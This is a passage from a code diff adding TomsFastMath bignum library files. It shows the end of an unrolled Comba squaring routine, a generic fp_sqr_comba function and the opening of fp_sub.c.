SQRADDSC(a[13], a[63]); SQRADDAC(a[14], a[62]); SQRADDAC(a[15], a[61]); SQRADDAC(a[16], a[60]); SQRADDAC(a[17], a[59]); SQRADDAC(a[18], a[58]); SQRADDAC(a[19], a[57]); SQRADDAC(a[20], a[56]); SQRADDAC(a[21], a[55]); SQRADDAC(a[22], a[54]); SQRADDAC(a[23], a[53]); SQRADDAC(a[24], a[52]); SQRADDAC(a[25], a[51]); SQRADDAC(a[26], a[50]); SQRADDAC(a[27], a[49]); SQRADDAC(a[28], a[48]); SQRADDAC(a[29], a[47]); SQRADDAC(a[30], a[46]); SQRADDAC(a[31], a[45]); SQRADDAC(a[32], a[44]); SQRADDAC(a[33], a[43]); SQRADDAC(a[34], a[42]); SQRADDAC(a[35], a[41]); SQRADDAC(a[36], a[40]); SQRADDAC(a[37], a[39]); SQRADDDB; SQRADD(a[38], a[38]);
COMBA_STORE(b[76]);
/* output 77 */
CARRY_FORWARD;
SQRADDSC(a[14], a[63]); SQRADDAC(a[15], a[62]); SQRADDAC(a[16], a[61]); SQRADDAC(a[17], a[60]); SQRADDAC(a[18], a[59]); SQRADDAC(a[19], a[58]); SQRADDAC(a[20], a[57]); SQRADDAC(a[21], a[56]); SQRADDAC(a[22], a[55]); SQRADDAC(a[23], a[54]); SQRADDAC(a[24], a[53]); SQRADDAC(a[25], a[52]); SQRADDAC(a[26], a[51]); SQRADDAC(a[27], a[50]); SQRADDAC(a[28], a[49]); SQRADDAC(a[29], a[48]); SQRADDAC(a[30], a[47]); SQRADDAC(a[31], a[46]); SQRADDAC(a[32], a[45]); SQRADDAC(a[33], a[44]); SQRADDAC(a[34], a[43]); SQRADDAC(a[35], a[42]); SQRADDAC(a[36], a[41]); SQRADDAC(a[37], a[40]); SQRADDAC(a[38], a[39]); SQRADDDB;
COMBA_STORE(b[77]);
/* output 78 */
CARRY_FORWARD;
SQRADDSC(a[15], a[63]); SQRADDAC(a[16], a[62]); SQRADDAC(a[17], a[61]); SQRADDAC(a[18], a[60]); SQRADDAC(a[19], a[59]); SQRADDAC(a[20], a[58]); SQRADDAC(a[21], a[57]); SQRADDAC(a[22], a[56]); SQRADDAC(a[23], a[55]); SQRADDAC(a[24], a[54]); SQRADDAC(a[25], a[53]); SQRADDAC(a[26], a[52]); SQRADDAC(a[27], a[51]); SQRADDAC(a[28], a[50]); SQRADDAC(a[29], a[49]); SQRADDAC(a[30], a[48]); SQRADDAC(a[31], a[47]); SQRADDAC(a[32], a[46]); SQRADDAC(a[33], a[45]); SQRADDAC(a[34], a[44]); SQRADDAC(a[35], a[43]); SQRADDAC(a[36], a[42]); SQRADDAC(a[37], a[41]); SQRADDAC(a[38], a[40]); SQRADDDB; SQRADD(a[39], a[39]);
COMBA_STORE(b[78]);
/* output 79 */
CARRY_FORWARD;
SQRADDSC(a[16], a[63]); SQRADDAC(a[17], a[62]); SQRADDAC(a[18], a[61]); SQRADDAC(a[19], a[60]); SQRADDAC(a[20], a[59]); SQRADDAC(a[21], a[58]); SQRADDAC(a[22], a[57]); SQRADDAC(a[23], a[56]); SQRADDAC(a[24], a[55]); SQRADDAC(a[25], a[54]); SQRADDAC(a[26], a[53]); SQRADDAC(a[27], a[52]); SQRADDAC(a[28], a[51]); SQRADDAC(a[29], a[50]); SQRADDAC(a[30], a[49]); SQRADDAC(a[31], a[48]); SQRADDAC(a[32], a[47]); SQRADDAC(a[33], a[46]); SQRADDAC(a[34], a[45]); SQRADDAC(a[35], a[44]); SQRADDAC(a[36], a[43]); SQRADDAC(a[37], a[42]); SQRADDAC(a[38], a[41]); SQRADDAC(a[39], a[40]); SQRADDDB;
COMBA_STORE(b[79]);
/* output 80 */
CARRY_FORWARD;
SQRADDSC(a[17], a[63]); SQRADDAC(a[18], a[62]); SQRADDAC(a[19], a[61]); SQRADDAC(a[20], a[60]); SQRADDAC(a[21], a[59]); SQRADDAC(a[22], a[58]); SQRADDAC(a[23], a[57]); SQRADDAC(a[24], a[56]); SQRADDAC(a[25], a[55]); SQRADDAC(a[26], a[54]); SQRADDAC(a[27], a[53]); SQRADDAC(a[28], a[52]); SQRADDAC(a[29], a[51]); SQRADDAC(a[30], a[50]); SQRADDAC(a[31], a[49]); SQRADDAC(a[32], a[48]); SQRADDAC(a[33], a[47]); SQRADDAC(a[34], a[46]); SQRADDAC(a[35], a[45]); SQRADDAC(a[36], a[44]); SQRADDAC(a[37], a[43]); SQRADDAC(a[38], a[42]); SQRADDAC(a[39], a[41]); SQRADDDB; SQRADD(a[40], a[40]);
COMBA_STORE(b[80]);
/* output 81 */
CARRY_FORWARD;
SQRADDSC(a[18], a[63]); SQRADDAC(a[19], a[62]); SQRADDAC(a[20], a[61]); SQRADDAC(a[21], a[60]); SQRADDAC(a[22], a[59]); SQRADDAC(a[23], a[58]); SQRADDAC(a[24], a[57]); SQRADDAC(a[25], a[56]); SQRADDAC(a[26], a[55]); SQRADDAC(a[27], a[54]); SQRADDAC(a[28], a[53]); SQRADDAC(a[29], a[52]); SQRADDAC(a[30], a[51]); SQRADDAC(a[31], a[50]); SQRADDAC(a[32], a[49]); SQRADDAC(a[33], a[48]); SQRADDAC(a[34], a[47]); SQRADDAC(a[35], a[46]); SQRADDAC(a[36], a[45]); SQRADDAC(a[37], a[44]); SQRADDAC(a[38], a[43]); SQRADDAC(a[39], a[42]); SQRADDAC(a[40], a[41]); SQRADDDB;
COMBA_STORE(b[81]);
/* output 82 */
CARRY_FORWARD;
SQRADDSC(a[19], a[63]); SQRADDAC(a[20], a[62]); SQRADDAC(a[21], a[61]); SQRADDAC(a[22], a[60]); SQRADDAC(a[23], a[59]); SQRADDAC(a[24], a[58]); SQRADDAC(a[25], a[57]); SQRADDAC(a[26], a[56]); SQRADDAC(a[27], a[55]); SQRADDAC(a[28], a[54]); SQRADDAC(a[29], a[53]); SQRADDAC(a[30], a[52]); SQRADDAC(a[31], a[51]); SQRADDAC(a[32], a[50]); SQRADDAC(a[33], a[49]); SQRADDAC(a[34], a[48]); SQRADDAC(a[35], a[47]); SQRADDAC(a[36], a[46]); SQRADDAC(a[37], a[45]); SQRADDAC(a[38], a[44]); SQRADDAC(a[39], a[43]); SQRADDAC(a[40], a[42]); SQRADDDB; SQRADD(a[41], a[41]);
COMBA_STORE(b[82]);
/* output 83 */
CARRY_FORWARD;
SQRADDSC(a[20], a[63]); SQRADDAC(a[21], a[62]); SQRADDAC(a[22], a[61]); SQRADDAC(a[23], a[60]); SQRADDAC(a[24], a[59]); SQRADDAC(a[25], a[58]); SQRADDAC(a[26], a[57]); SQRADDAC(a[27], a[56]); SQRADDAC(a[28], a[55]); SQRADDAC(a[29], a[54]); SQRADDAC(a[30], a[53]); SQRADDAC(a[31], a[52]); SQRADDAC(a[32], a[51]); SQRADDAC(a[33], a[50]); SQRADDAC(a[34], a[49]); SQRADDAC(a[35], a[48]); SQRADDAC(a[36], a[47]); SQRADDAC(a[37], a[46]); SQRADDAC(a[38], a[45]); SQRADDAC(a[39], a[44]); SQRADDAC(a[40], a[43]); SQRADDAC(a[41], a[42]); SQRADDDB;
COMBA_STORE(b[83]);
/* output 84 */
CARRY_FORWARD;
SQRADDSC(a[21], a[63]); SQRADDAC(a[22], a[62]); SQRADDAC(a[23], a[61]); SQRADDAC(a[24], a[60]); SQRADDAC(a[25], a[59]); SQRADDAC(a[26], a[58]); SQRADDAC(a[27], a[57]); SQRADDAC(a[28], a[56]); SQRADDAC(a[29], a[55]); SQRADDAC(a[30], a[54]); SQRADDAC(a[31], a[53]); SQRADDAC(a[32], a[52]); SQRADDAC(a[33], a[51]); SQRADDAC(a[34], a[50]); SQRADDAC(a[35], a[49]); SQRADDAC(a[36], a[48]); SQRADDAC(a[37], a[47]); SQRADDAC(a[38], a[46]); SQRADDAC(a[39], a[45]); SQRADDAC(a[40], a[44]); SQRADDAC(a[41], a[43]); SQRADDDB; SQRADD(a[42], a[42]);
COMBA_STORE(b[84]);
/* output 85 */
CARRY_FORWARD;
SQRADDSC(a[22], a[63]); SQRADDAC(a[23], a[62]); SQRADDAC(a[24], a[61]); SQRADDAC(a[25], a[60]); SQRADDAC(a[26], a[59]); SQRADDAC(a[27], a[58]); SQRADDAC(a[28], a[57]); SQRADDAC(a[29], a[56]); SQRADDAC(a[30], a[55]); SQRADDAC(a[31], a[54]); SQRADDAC(a[32], a[53]); SQRADDAC(a[33], a[52]); SQRADDAC(a[34], a[51]); SQRADDAC(a[35], a[50]); SQRADDAC(a[36], a[49]); SQRADDAC(a[37], a[48]); SQRADDAC(a[38], a[47]); SQRADDAC(a[39], a[46]); SQRADDAC(a[40], a[45]); SQRADDAC(a[41], a[44]); SQRADDAC(a[42], a[43]); SQRADDDB;
COMBA_STORE(b[85]);
/* output 86 */
CARRY_FORWARD;
SQRADDSC(a[23], a[63]); SQRADDAC(a[24], a[62]); SQRADDAC(a[25], a[61]); SQRADDAC(a[26], a[60]); SQRADDAC(a[27], a[59]); SQRADDAC(a[28], a[58]); SQRADDAC(a[29], a[57]); SQRADDAC(a[30], a[56]); SQRADDAC(a[31], a[55]); SQRADDAC(a[32], a[54]); SQRADDAC(a[33], a[53]); SQRADDAC(a[34], a[52]); SQRADDAC(a[35], a[51]); SQRADDAC(a[36], a[50]); SQRADDAC(a[37], a[49]); SQRADDAC(a[38], a[48]); SQRADDAC(a[39], a[47]); SQRADDAC(a[40], a[46]); SQRADDAC(a[41], a[45]); SQRADDAC(a[42], a[44]); SQRADDDB; SQRADD(a[43], a[43]);
COMBA_STORE(b[86]);
/* output 87 */
CARRY_FORWARD;
SQRADDSC(a[24], a[63]); SQRADDAC(a[25], a[62]); SQRADDAC(a[26], a[61]); SQRADDAC(a[27], a[60]); SQRADDAC(a[28], a[59]); SQRADDAC(a[29], a[58]); SQRADDAC(a[30], a[57]); SQRADDAC(a[31], a[56]); SQRADDAC(a[32], a[55]); SQRADDAC(a[33], a[54]); SQRADDAC(a[34], a[53]); SQRADDAC(a[35], a[52]); SQRADDAC(a[36], a[51]); SQRADDAC(a[37], a[50]); SQRADDAC(a[38], a[49]); SQRADDAC(a[39], a[48]); SQRADDAC(a[40], a[47]); SQRADDAC(a[41], a[46]); SQRADDAC(a[42], a[45]); SQRADDAC(a[43], a[44]); SQRADDDB;
COMBA_STORE(b[87]);
/* output 88 */
CARRY_FORWARD;
SQRADDSC(a[25], a[63]); SQRADDAC(a[26], a[62]); SQRADDAC(a[27], a[61]); SQRADDAC(a[28], a[60]); SQRADDAC(a[29], a[59]); SQRADDAC(a[30], a[58]); SQRADDAC(a[31], a[57]); SQRADDAC(a[32], a[56]); SQRADDAC(a[33], a[55]); SQRADDAC(a[34], a[54]); SQRADDAC(a[35], a[53]); SQRADDAC(a[36], a[52]); SQRADDAC(a[37], a[51]); SQRADDAC(a[38], a[50]); SQRADDAC(a[39], a[49]); SQRADDAC(a[40], a[48]); SQRADDAC(a[41], a[47]); SQRADDAC(a[42], a[46]); SQRADDAC(a[43], a[45]); SQRADDDB; SQRADD(a[44], a[44]);
COMBA_STORE(b[88]);
/* output 89 */
CARRY_FORWARD;
SQRADDSC(a[26], a[63]); SQRADDAC(a[27], a[62]); SQRADDAC(a[28], a[61]); SQRADDAC(a[29], a[60]); SQRADDAC(a[30], a[59]); SQRADDAC(a[31], a[58]); SQRADDAC(a[32], a[57]); SQRADDAC(a[33], a[56]); SQRADDAC(a[34], a[55]); SQRADDAC(a[35], a[54]); SQRADDAC(a[36], a[53]); SQRADDAC(a[37], a[52]); SQRADDAC(a[38], a[51]); SQRADDAC(a[39], a[50]); SQRADDAC(a[40], a[49]); SQRADDAC(a[41], a[48]); SQRADDAC(a[42], a[47]); SQRADDAC(a[43], a[46]); SQRADDAC(a[44], a[45]); SQRADDDB;
COMBA_STORE(b[89]);
/* output 90 */
CARRY_FORWARD;
SQRADDSC(a[27], a[63]); SQRADDAC(a[28], a[62]); SQRADDAC(a[29], a[61]); SQRADDAC(a[30], a[60]); SQRADDAC(a[31], a[59]); SQRADDAC(a[32], a[58]); SQRADDAC(a[33], a[57]); SQRADDAC(a[34], a[56]); SQRADDAC(a[35], a[55]); SQRADDAC(a[36], a[54]); SQRADDAC(a[37], a[53]); SQRADDAC(a[38], a[52]); SQRADDAC(a[39], a[51]); SQRADDAC(a[40], a[50]); SQRADDAC(a[41], a[49]); SQRADDAC(a[42], a[48]); SQRADDAC(a[43], a[47]); SQRADDAC(a[44], a[46]); SQRADDDB; SQRADD(a[45], a[45]);
COMBA_STORE(b[90]);
/* output 91 */
CARRY_FORWARD;
SQRADDSC(a[28], a[63]); SQRADDAC(a[29], a[62]); SQRADDAC(a[30], a[61]); SQRADDAC(a[31], a[60]); SQRADDAC(a[32], a[59]); SQRADDAC(a[33], a[58]); SQRADDAC(a[34], a[57]); SQRADDAC(a[35], a[56]); SQRADDAC(a[36], a[55]); SQRADDAC(a[37], a[54]); SQRADDAC(a[38], a[53]); SQRADDAC(a[39], a[52]); SQRADDAC(a[40], a[51]); SQRADDAC(a[41], a[50]); SQRADDAC(a[42], a[49]); SQRADDAC(a[43], a[48]); SQRADDAC(a[44], a[47]); SQRADDAC(a[45], a[46]); SQRADDDB;
COMBA_STORE(b[91]);
/* output 92 */
CARRY_FORWARD;
SQRADDSC(a[29], a[63]); SQRADDAC(a[30], a[62]); SQRADDAC(a[31], a[61]); SQRADDAC(a[32], a[60]); SQRADDAC(a[33], a[59]); SQRADDAC(a[34], a[58]); SQRADDAC(a[35], a[57]); SQRADDAC(a[36], a[56]); SQRADDAC(a[37], a[55]); SQRADDAC(a[38], a[54]); SQRADDAC(a[39], a[53]); SQRADDAC(a[40], a[52]); SQRADDAC(a[41], a[51]); SQRADDAC(a[42], a[50]); SQRADDAC(a[43], a[49]); SQRADDAC(a[44], a[48]); SQRADDAC(a[45], a[47]); SQRADDDB; SQRADD(a[46], a[46]);
COMBA_STORE(b[92]);
/* output 93 */
CARRY_FORWARD;
SQRADDSC(a[30], a[63]); SQRADDAC(a[31], a[62]); SQRADDAC(a[32], a[61]); SQRADDAC(a[33], a[60]); SQRADDAC(a[34], a[59]); SQRADDAC(a[35], a[58]); SQRADDAC(a[36], a[57]); SQRADDAC(a[37], a[56]); SQRADDAC(a[38], a[55]); SQRADDAC(a[39], a[54]); SQRADDAC(a[40], a[53]); SQRADDAC(a[41], a[52]); SQRADDAC(a[42], a[51]); SQRADDAC(a[43], a[50]); SQRADDAC(a[44], a[49]); SQRADDAC(a[45], a[48]); SQRADDAC(a[46], a[47]); SQRADDDB;
COMBA_STORE(b[93]);
/* output 94 */
CARRY_FORWARD;
SQRADDSC(a[31], a[63]); SQRADDAC(a[32], a[62]); SQRADDAC(a[33], a[61]); SQRADDAC(a[34], a[60]); SQRADDAC(a[35], a[59]); SQRADDAC(a[36], a[58]); SQRADDAC(a[37], a[57]); SQRADDAC(a[38], a[56]); SQRADDAC(a[39], a[55]); SQRADDAC(a[40], a[54]); SQRADDAC(a[41], a[53]); SQRADDAC(a[42], a[52]); SQRADDAC(a[43], a[51]); SQRADDAC(a[44], a[50]); SQRADDAC(a[45], a[49]); SQRADDAC(a[46], a[48]); SQRADDDB; SQRADD(a[47], a[47]);
COMBA_STORE(b[94]);
/* output 95 */
CARRY_FORWARD;
SQRADDSC(a[32], a[63]); SQRADDAC(a[33], a[62]); SQRADDAC(a[34], a[61]); SQRADDAC(a[35], a[60]); SQRADDAC(a[36], a[59]); SQRADDAC(a[37], a[58]); SQRADDAC(a[38], a[57]); SQRADDAC(a[39], a[56]); SQRADDAC(a[40], a[55]); SQRADDAC(a[41], a[54]); SQRADDAC(a[42], a[53]); SQRADDAC(a[43], a[52]); SQRADDAC(a[44], a[51]); SQRADDAC(a[45], a[50]); SQRADDAC(a[46], a[49]); SQRADDAC(a[47], a[48]); SQRADDDB;
COMBA_STORE(b[95]);
/* output 96 */
CARRY_FORWARD;
SQRADDSC(a[33], a[63]); SQRADDAC(a[34], a[62]); SQRADDAC(a[35], a[61]); SQRADDAC(a[36], a[60]); SQRADDAC(a[37], a[59]); SQRADDAC(a[38], a[58]); SQRADDAC(a[39], a[57]); SQRADDAC(a[40], a[56]); SQRADDAC(a[41], a[55]); SQRADDAC(a[42], a[54]); SQRADDAC(a[43], a[53]); SQRADDAC(a[44], a[52]); SQRADDAC(a[45], a[51]); SQRADDAC(a[46], a[50]); SQRADDAC(a[47], a[49]); SQRADDDB; SQRADD(a[48], a[48]);
COMBA_STORE(b[96]);
/* output 97 */
CARRY_FORWARD;
SQRADDSC(a[34], a[63]); SQRADDAC(a[35], a[62]); SQRADDAC(a[36], a[61]); SQRADDAC(a[37], a[60]); SQRADDAC(a[38], a[59]); SQRADDAC(a[39], a[58]); SQRADDAC(a[40], a[57]); SQRADDAC(a[41], a[56]); SQRADDAC(a[42], a[55]); SQRADDAC(a[43], a[54]); SQRADDAC(a[44], a[53]); SQRADDAC(a[45], a[52]); SQRADDAC(a[46], a[51]); SQRADDAC(a[47], a[50]); SQRADDAC(a[48], a[49]); SQRADDDB;
COMBA_STORE(b[97]);
/* output 98 */
CARRY_FORWARD;
SQRADDSC(a[35], a[63]); SQRADDAC(a[36], a[62]); SQRADDAC(a[37], a[61]); SQRADDAC(a[38], a[60]); SQRADDAC(a[39], a[59]); SQRADDAC(a[40], a[58]); SQRADDAC(a[41], a[57]); SQRADDAC(a[42], a[56]); SQRADDAC(a[43], a[55]); SQRADDAC(a[44], a[54]); SQRADDAC(a[45], a[53]); SQRADDAC(a[46], a[52]); SQRADDAC(a[47], a[51]); SQRADDAC(a[48], a[50]); SQRADDDB; SQRADD(a[49], a[49]);
COMBA_STORE(b[98]);
/* output 99 */
CARRY_FORWARD;
SQRADDSC(a[36], a[63]); SQRADDAC(a[37], a[62]); SQRADDAC(a[38], a[61]); SQRADDAC(a[39], a[60]); SQRADDAC(a[40], a[59]); SQRADDAC(a[41], a[58]); SQRADDAC(a[42], a[57]); SQRADDAC(a[43], a[56]); SQRADDAC(a[44], a[55]); SQRADDAC(a[45], a[54]); SQRADDAC(a[46], a[53]); SQRADDAC(a[47], a[52]); SQRADDAC(a[48], a[51]); SQRADDAC(a[49], a[50]); SQRADDDB;
COMBA_STORE(b[99]);
/* output 100 */
CARRY_FORWARD;
SQRADDSC(a[37], a[63]); SQRADDAC(a[38], a[62]); SQRADDAC(a[39], a[61]); SQRADDAC(a[40], a[60]); SQRADDAC(a[41], a[59]); SQRADDAC(a[42], a[58]); SQRADDAC(a[43], a[57]); SQRADDAC(a[44], a[56]); SQRADDAC(a[45], a[55]); SQRADDAC(a[46], a[54]); SQRADDAC(a[47], a[53]); SQRADDAC(a[48], a[52]); SQRADDAC(a[49], a[51]); SQRADDDB; SQRADD(a[50], a[50]);
COMBA_STORE(b[100]);
/* output 101 */
CARRY_FORWARD;
SQRADDSC(a[38], a[63]); SQRADDAC(a[39], a[62]); SQRADDAC(a[40], a[61]); SQRADDAC(a[41], a[60]); SQRADDAC(a[42], a[59]); SQRADDAC(a[43], a[58]); SQRADDAC(a[44], a[57]); SQRADDAC(a[45], a[56]); SQRADDAC(a[46], a[55]); SQRADDAC(a[47], a[54]); SQRADDAC(a[48], a[53]); SQRADDAC(a[49], a[52]); SQRADDAC(a[50], a[51]); SQRADDDB;
COMBA_STORE(b[101]);
/* output 102 */
CARRY_FORWARD;
SQRADDSC(a[39], a[63]); SQRADDAC(a[40], a[62]); SQRADDAC(a[41], a[61]); SQRADDAC(a[42], a[60]); SQRADDAC(a[43], a[59]); SQRADDAC(a[44], a[58]); SQRADDAC(a[45], a[57]); SQRADDAC(a[46], a[56]); SQRADDAC(a[47], a[55]); SQRADDAC(a[48], a[54]); SQRADDAC(a[49], a[53]); SQRADDAC(a[50], a[52]); SQRADDDB; SQRADD(a[51], a[51]);
COMBA_STORE(b[102]);
/* output 103 */
CARRY_FORWARD;
SQRADDSC(a[40], a[63]); SQRADDAC(a[41], a[62]); SQRADDAC(a[42], a[61]); SQRADDAC(a[43], a[60]); SQRADDAC(a[44], a[59]); SQRADDAC(a[45], a[58]); SQRADDAC(a[46], a[57]); SQRADDAC(a[47], a[56]); SQRADDAC(a[48], a[55]); SQRADDAC(a[49], a[54]); SQRADDAC(a[50], a[53]); SQRADDAC(a[51], a[52]); SQRADDDB;
COMBA_STORE(b[103]);
/* output 104 */
CARRY_FORWARD;
SQRADDSC(a[41], a[63]); SQRADDAC(a[42], a[62]); SQRADDAC(a[43], a[61]); SQRADDAC(a[44], a[60]); SQRADDAC(a[45], a[59]); SQRADDAC(a[46], a[58]); SQRADDAC(a[47], a[57]); SQRADDAC(a[48], a[56]); SQRADDAC(a[49], a[55]); SQRADDAC(a[50], a[54]); SQRADDAC(a[51], a[53]); SQRADDDB; SQRADD(a[52], a[52]);
COMBA_STORE(b[104]);
/* output 105 */
CARRY_FORWARD;
SQRADDSC(a[42], a[63]); SQRADDAC(a[43], a[62]); SQRADDAC(a[44], a[61]); SQRADDAC(a[45], a[60]); SQRADDAC(a[46], a[59]); SQRADDAC(a[47], a[58]); SQRADDAC(a[48], a[57]); SQRADDAC(a[49], a[56]); SQRADDAC(a[50], a[55]); SQRADDAC(a[51], a[54]); SQRADDAC(a[52], a[53]); SQRADDDB;
COMBA_STORE(b[105]);
/* output 106 */
CARRY_FORWARD;
SQRADDSC(a[43], a[63]); SQRADDAC(a[44], a[62]); SQRADDAC(a[45], a[61]); SQRADDAC(a[46], a[60]); SQRADDAC(a[47], a[59]); SQRADDAC(a[48], a[58]); SQRADDAC(a[49], a[57]); SQRADDAC(a[50], a[56]); SQRADDAC(a[51], a[55]); SQRADDAC(a[52], a[54]); SQRADDDB; SQRADD(a[53], a[53]);
COMBA_STORE(b[106]);
/* output 107 */
CARRY_FORWARD;
SQRADDSC(a[44], a[63]); SQRADDAC(a[45], a[62]); SQRADDAC(a[46], a[61]); SQRADDAC(a[47], a[60]); SQRADDAC(a[48], a[59]); SQRADDAC(a[49], a[58]); SQRADDAC(a[50], a[57]); SQRADDAC(a[51], a[56]); SQRADDAC(a[52], a[55]); SQRADDAC(a[53], a[54]); SQRADDDB;
COMBA_STORE(b[107]);
/* output 108 */
CARRY_FORWARD;
SQRADDSC(a[45], a[63]); SQRADDAC(a[46], a[62]); SQRADDAC(a[47], a[61]); SQRADDAC(a[48], a[60]); SQRADDAC(a[49], a[59]); SQRADDAC(a[50], a[58]); SQRADDAC(a[51], a[57]); SQRADDAC(a[52], a[56]); SQRADDAC(a[53], a[55]); SQRADDDB; SQRADD(a[54], a[54]);
COMBA_STORE(b[108]);
/* output 109 */
CARRY_FORWARD;
SQRADDSC(a[46], a[63]); SQRADDAC(a[47], a[62]); SQRADDAC(a[48], a[61]); SQRADDAC(a[49], a[60]); SQRADDAC(a[50], a[59]); SQRADDAC(a[51], a[58]); SQRADDAC(a[52], a[57]); SQRADDAC(a[53], a[56]); SQRADDAC(a[54], a[55]); SQRADDDB;
COMBA_STORE(b[109]);
/* output 110 */
CARRY_FORWARD;
SQRADDSC(a[47], a[63]); SQRADDAC(a[48], a[62]); SQRADDAC(a[49], a[61]); SQRADDAC(a[50], a[60]); SQRADDAC(a[51], a[59]); SQRADDAC(a[52], a[58]); SQRADDAC(a[53], a[57]); SQRADDAC(a[54], a[56]); SQRADDDB; SQRADD(a[55], a[55]);
COMBA_STORE(b[110]);
/* output 111 */
CARRY_FORWARD;
SQRADDSC(a[48], a[63]); SQRADDAC(a[49], a[62]); SQRADDAC(a[50], a[61]); SQRADDAC(a[51], a[60]); SQRADDAC(a[52], a[59]); SQRADDAC(a[53], a[58]); SQRADDAC(a[54], a[57]); SQRADDAC(a[55], a[56]); SQRADDDB;
COMBA_STORE(b[111]);
/* output 112 */
CARRY_FORWARD;
SQRADDSC(a[49], a[63]); SQRADDAC(a[50], a[62]); SQRADDAC(a[51], a[61]); SQRADDAC(a[52], a[60]); SQRADDAC(a[53], a[59]); SQRADDAC(a[54], a[58]); SQRADDAC(a[55], a[57]); SQRADDDB; SQRADD(a[56], a[56]);
COMBA_STORE(b[112]);
/* output 113 */
CARRY_FORWARD;
SQRADDSC(a[50], a[63]); SQRADDAC(a[51], a[62]); SQRADDAC(a[52], a[61]); SQRADDAC(a[53], a[60]); SQRADDAC(a[54], a[59]); SQRADDAC(a[55], a[58]); SQRADDAC(a[56], a[57]); SQRADDDB;
COMBA_STORE(b[113]);
/* output 114 */
CARRY_FORWARD;
SQRADDSC(a[51], a[63]); SQRADDAC(a[52], a[62]); SQRADDAC(a[53], a[61]); SQRADDAC(a[54], a[60]); SQRADDAC(a[55], a[59]); SQRADDAC(a[56], a[58]); SQRADDDB; SQRADD(a[57], a[57]);
COMBA_STORE(b[114]);
/* output 115 */
CARRY_FORWARD;
SQRADDSC(a[52], a[63]); SQRADDAC(a[53], a[62]); SQRADDAC(a[54], a[61]); SQRADDAC(a[55], a[60]); SQRADDAC(a[56], a[59]); SQRADDAC(a[57], a[58]); SQRADDDB;
COMBA_STORE(b[115]);
/* output 116 */
CARRY_FORWARD;
SQRADDSC(a[53], a[63]); SQRADDAC(a[54], a[62]); SQRADDAC(a[55], a[61]); SQRADDAC(a[56], a[60]); SQRADDAC(a[57], a[59]); SQRADDDB; SQRADD(a[58], a[58]);
COMBA_STORE(b[116]);
/* output 117 */
CARRY_FORWARD;
SQRADDSC(a[54], a[63]); SQRADDAC(a[55], a[62]); SQRADDAC(a[56], a[61]); SQRADDAC(a[57], a[60]); SQRADDAC(a[58], a[59]); SQRADDDB;
COMBA_STORE(b[117]);
/* output 118 */
CARRY_FORWARD;
SQRADDSC(a[55], a[63]); SQRADDAC(a[56], a[62]); SQRADDAC(a[57], a[61]); SQRADDAC(a[58], a[60]); SQRADDDB; SQRADD(a[59], a[59]);
COMBA_STORE(b[118]);
/* output 119 */
CARRY_FORWARD;
SQRADDSC(a[56], a[63]); SQRADDAC(a[57], a[62]); SQRADDAC(a[58], a[61]); SQRADDAC(a[59], a[60]); SQRADDDB;
COMBA_STORE(b[119]);
/* output 120 */
CARRY_FORWARD;
SQRADDSC(a[57], a[63]); SQRADDAC(a[58], a[62]); SQRADDAC(a[59], a[61]); SQRADDDB; SQRADD(a[60], a[60]);
COMBA_STORE(b[120]);
/* output 121 */
CARRY_FORWARD;
SQRADDSC(a[58], a[63]); SQRADDAC(a[59], a[62]); SQRADDAC(a[60], a[61]); SQRADDDB;
COMBA_STORE(b[121]);
/* output 122 */
CARRY_FORWARD;
SQRADD2(a[59], a[63]); SQRADD2(a[60], a[62]); SQRADD(a[61], a[61]);
COMBA_STORE(b[122]);
/* output 123 */
CARRY_FORWARD;
SQRADD2(a[60], a[63]); SQRADD2(a[61], a[62]);
COMBA_STORE(b[123]);
/* output 124 */
CARRY_FORWARD;
SQRADD2(a[61], a[63]); SQRADD(a[62], a[62]);
COMBA_STORE(b[124]);
/* output 125 */
CARRY_FORWARD;
SQRADD2(a[62], a[63]);
COMBA_STORE(b[125]);
/* output 126 */
CARRY_FORWARD;
SQRADD(a[63], a[63]);
COMBA_STORE(b[126]);
COMBA_STORE2(b[127]);
COMBA_FINI;
B->used = 128;
B->sign = FP_ZPOS;
memcpy(B->dp, b, 128 * sizeof(fp_digit));
fp_clamp(B);
}
#endif
/* $Source$ */
/* $Revision$ */
/* $Date$ */

View File

@ -0,0 +1,98 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#define TFM_DEFINES
#include "fp_sqr_comba.c"
/* generic comba squarer */
void fp_sqr_comba(fp_int *A, fp_int *B)
{
int pa, ix, iz;
fp_digit c0, c1, c2;
fp_int tmp, *dst;
#ifdef TFM_ISO
fp_word tt;
#endif
/* get size of output and trim */
pa = A->used + A->used;
if (pa >= FP_SIZE) {
pa = FP_SIZE-1;
}
/* number of output digits to produce */
COMBA_START;
CLEAR_CARRY;
if (A == B) {
fp_zero(&tmp);
dst = &tmp;
} else {
fp_zero(B);
dst = B;
}
for (ix = 0; ix < pa; ix++) {
int tx, ty, iy;
fp_digit *tmpy, *tmpx;
/* get offsets into the two bignums */
ty = MIN(A->used-1, ix);
tx = ix - ty;
/* setup temp aliases */
tmpx = A->dp + tx;
tmpy = A->dp + ty;
/* this is the number of times the loop will iterrate,
while (tx++ < a->used && ty-- >= 0) { ... }
*/
iy = MIN(A->used-tx, ty+1);
/* now for squaring tx can never equal ty
* we halve the distance since they approach
* at a rate of 2x and we have to round because
* odd cases need to be executed
*/
iy = MIN(iy, (ty-tx+1)>>1);
/* forward carries */
CARRY_FORWARD;
/* execute loop */
for (iz = 0; iz < iy; iz++) {
fp_digit _tmpx = *tmpx++;
fp_digit _tmpy = *tmpy--;
SQRADD2(_tmpx, _tmpy);
}
/* even columns have the square term in them */
if ((ix&1) == 0) {
fp_digit _a_dp = A->dp[ix>>1];
SQRADD(_a_dp, A->dp[ix>>1]);
}
/* store it */
COMBA_STORE(dst->dp[ix]);
}
COMBA_FINI;
/* setup dest */
dst->used = pa;
fp_clamp (dst);
if (dst != B) {
fp_copy(dst, B);
}
}
/* $Source$ */
/* $Revision$ */
/* $Date$ */

File diff suppressed because it is too large Load Diff

50
src/crypto/tfm/fp_sub.c Normal file
View File

@ -0,0 +1,50 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#include <tfm_private.h>
/* c = a - b */
void fp_sub(fp_int *a, fp_int *b, fp_int *c)
{
int sa, sb;
sa = a->sign;
sb = b->sign;
if (sa != sb) {
/* subtract a negative from a positive, OR */
/* subtract a positive from a negative. */
